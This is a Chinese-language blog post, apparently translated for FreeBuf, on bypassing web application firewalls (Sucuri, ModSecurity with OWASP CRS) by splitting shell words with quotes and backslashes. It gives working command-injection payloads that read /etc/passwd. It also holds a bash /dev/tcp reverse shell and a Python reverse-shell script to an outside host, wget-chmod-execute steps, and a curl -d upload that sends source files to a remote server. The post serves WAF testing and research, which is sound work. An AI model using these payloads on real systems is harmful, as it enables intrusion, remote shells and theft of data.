原标题:Web应用程序防火墙(WAF)bypass技术(二)
在Web应用程序防火墙(WAF)bypass技术的第一部分中,我们已经看到了如何使用通配符(主要是使用问号通配符)绕过WAF规则。显然,还有很多其他方法可以绕过WAF规则集,我认为每次攻击都有其特定的规避技术。
例如:在SQL注入的payload内使用注释语法可以绕过许多过滤器。也就是说,不使用union+select,而是使用 /?id=1+union+select+1,2,3– 这类语法。
这是一项很棒的技术,当目标WAF允许星号*和连接字符时,就能够起作用。报告这应该仅适用于SQL注入,不能用于利用本地文件包含或远程命令执行。对于某些特定场景,对于需要保护Web应用程序免受远程命令执行攻击的WAF来说,这是一个“真正的噩梦”…这就是连接字符串。
连接
在许多编程语言中,字符串连接符是一种运算符。+(加号)经常被重载表示为字符串参数连接:”Hello, ” + “World”相当于”Hello, World”。在其他语言中,有一个单独的运算符“.”能对字符串的隐式类型进行转换,也能进行连接,例如Perl、PHP与Lua等。
$ php -r 'echo "hello"." world"."n";' hello world $ python -c 'print "hello" + " world"' hello world
但如果你以为这就是连接字符串的唯一途径,那就大错特错了。
在一些语言中,例如C,C ++,Python以及可以在Bash中找到的脚本语言/语法,有一种叫做字符串文字连接的东西,这意味着相邻的字符串文字是连接的,不需要任何运算符,例如”Hello, ” “World”相当于”Hello, World”。这不仅适用于printf和echo命令,而且适用于整个bash语法。
以下每个命令都具有相同的结果:
# echo test # echo 't'e's't # echo 'te'st # echo 'te'st'' # echo 'te'''st'' # python -c 'print "te" "st"'
发生这种情况是因为所有相邻的字符串文字在Bash中是连接在一起,实际上’te’s't’由三个字符串组成:字符串te,字符串s和字符串t。此语法可用于绕过基于“匹配短语” 的过滤器(或WAF规则)(例如,ModSecurity中的pm运算符https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#pm)。
SecRule ARGS “@pm passwd shadow groups”…ModSecurity中的规则将阻止包含passwd或shadow的所有请求。但是,如果我们将它们转换为pa’ss’wd或者sh’ad’ow呢?就像我们之前看到的SQL注入的语法一样,它使用注释拆分来查询,在这里我们也可以使用单引号’拆分文件名和系统命令,并创建连接字符串组。当然,可以使用连接字符串作为任何命令的参数,不仅仅是允许连接路径甚至执行Bash命令的时候才能使用。
以下命令的几个示例:
$ /bin/cat /etc/passwd $ /bin/cat /e'tc'/pa'ss'wd $ /bin/c'at' /e'tc'/pa'ss'wd $ /b'i'n/c'a't /e't'c/p'a's's'w'd'
现在,假设已经在应用程序的url参数上发现了远程命令执行。如果有一条规则阻止像“etc、passwd、shadow”等这样的短语,你可以用这样的东西绕过它:
curl …/?url=;+cat+/e’t'c/pa’ss’wd
开始测试下,我将使用以下PHP代码,以便像往常一样在Sucuri WAF和ModSecurity进行比较测试,使用的PHP代码是:
首先,我尝试使用这个PHP应用程序,以获得google.com的响应体,而无需编码参数的值:
curl -v ‘http://test1.unicresit.it/?zzz=google.com‘
它按预期工作了,google.com 返回302页面说我应该关注位置www.google.de(谷歌正确地将我在法兰克福的服务器地理定位):
现在,为了利用这个易受攻击的应用程序,我可以做很多事情,其中一件事就是用分号;分隔并尝试执行其他系统命令。
当我尝试读取/etc/passwd文件时,Sucuri阻止了…例如:curl -v ‘http://test1.unicresit.it/?zzz=;+cat+/etc/passwd’
由于以下原因被Sucuri WAF阻止:“An attempted RFI/LFI was detected and blocked”我认为(只是一个假设,因为用户看不到Sucuri WAF规则的细节)Sucuri“RFI/LFI检测”规则使用了我们之前见过的“匹配短语”之类的东西,如列表常见的路径和文件名/etc/passwd等。由于WAF设置的问题,我可以使用两个单引号绕过这个规则!
payload:curl -v “http://test1.unicresit.it/?zzz=;+cat+/e’tc/pass’wd”
目前能读取passwd文件,但有一个问题是无法使用netcat,因为它没有安装在目标系统上。
$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls" /bin/ls $ curl -s "http://test1.unicresit.it/?zzz=;+which+nc" $
最简单的方法(几乎没有可以被WAF阻止的特殊字符)是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/1337 0>&1,但遗憾的是太复杂而无法绕过所有检测此payload特征的规则集,这意味着使用某些PHP、Perl或Python代码来获取反弹shell会很困难。由于这个原因,Sucuri WAF阻止了我的尝试:Obfuscated attack payload detected。
可以尝试使用或上传Python反弹shell脚本到可写目录,而不是通过直接在易受攻击的参数上执行来获取shell。首先,准备python代码:使用curl或wget来下载python代码,vi shell.py
#!/usr/bin/python import socket,subprocess,os; s=socket.socket(socket.AFINET,socket.SOCKSTREAM); s.connect(("",2375)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
然后像往常一样使用python -c SimpleHTTPServer或php -S等开启公网可访问的Web服务器…然后从目标网站下载shell.py文件,我使用了以下语法:
curl -v '.../?zzz=:2375/shell.py+-o+/tmp/shell.py'
Sucuri WAF没有阻止这个请求,但通常ModSecurity会阻止,如果你想确保绕过所有“匹配短语”规则类型,你可以使用wget + ip-to-long conversion + string连接:
.../?zzz=wg'e't 168431108 -P tmp .../?zzz=c'hm'od 777 -R tmp .../?zzz=/t'm'p/index.html
第一个命令用于wget下载shell文件到/tmp/目录。第二个使用chmod使其可执行,第三个是执行文件。正如你所看到的,wget命令请求特定的文件,所以下载的文件被命名为index.html。可以通过netcat的nc命令使用手工编写响应头和响应体来公开这个文件,如下所示:
现在开始我的困难之旅。。。
Bypass ModSecurity and the OWASP Core规则集
可能你认为此payload可以绕过OWASP核心规则集,就像我们在之前文章[因为文章还未发布,审核可以在这里补充]中看到的那样… 但基本上不会成功。这是因为有两个叫做normalizePath和cmdLine的小东西。在ModSecurity中,它们被称为“转换函数”,用于在输入数据时进行匹配(例如,运算符执行)之前更改输入数据。输入数据永远不会被修改,因为ModSecurity将创建数据的副本,对其进行转换,然后针对结果运行运算符。
normalizePath:它从输入字符串中删除多个目录自引用和目录后引用(在开头时有输入除外)的斜杠,。
cmdLine:由Marc Stern开发,这个转换函数通过规范参数值并触发所有规则(如LFI,RCE,Unix命令等)来避免使用转义序列…例如/e’t'c/pa’ss’wd不会转换为/etc/passwd。它做了以下很多事情:
1 删除所有反斜杠
2 删除所有双引号 “
3 删除所有单引号 ‘
4 删除所有插入符号 ^
5 在斜杠前删除空格 /
6 在打开括号之前删除空格 (
7 将所有逗号,和分号;替换为空格
8 将所有多个空格(包括制表符,换行符等)替换为一个空格
9 将所有字符转换为小写
由于cmdLine转换函数,所有使用连接字符串利用RCE的尝试都被规则932160阻止:
Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )" "o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase" "ruleId":"932160"
目前我无法读取/etc/passwd,但不要失望,OWASP核心规则集发现公共文件,路径和命令时会阻止它们,但它不能对目标应用程序的源代码执行相同的操作。我不能使用分号;字符(这意味着我不能破坏curl语法)但我可以使用curl的exfiltrate功能将文件发送到我的远程服务器。这将适用于从0到3的防护级别。
诀窍是通过POST HTTP请求将文件发送到远程服务器,curl可以使用data参数来执行此操作-d:
curl -d @/
以下的请求,已将@url编码为%40:
curl “…/?zzz=-d+%40/usr/local/…/index.php+1.1.1.1:1337″
如果目标的防护等级设置为4,则所有这些都不会起作用,因为payload包含连接字符,正斜杠等字符…好消息是在生产环境中很少发现防护等级是4。
反斜杠是新的单引号:)
同样的技术也可以使用反斜杠字符,反斜杠不是连接字符串,而只是一个转义序列:
目前只写到这里了,感谢大家的阅读。
另外附上一些有用的参考文章:
1. Bypass a WAF by Positive Technology
https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf
2. Web Application Firewalls: Attacking detection logic mechanisms by Vladimir Ivanov (blackhat USA 2016)
https://www.blackhat.com/docs/us-16/materials/us-16-Ivanov-Web-Application-Firewalls-Analysis-Of-Detection-Logic.pdf
3. SQLi bypassing WAF on OWASP by Dhiraj Mishra
https://www.owasp.org/index.php/SQLInjectionBypassingWAF
*参考来源:medium,生如夏花编译,转载请注明来自 FreeBuf.COM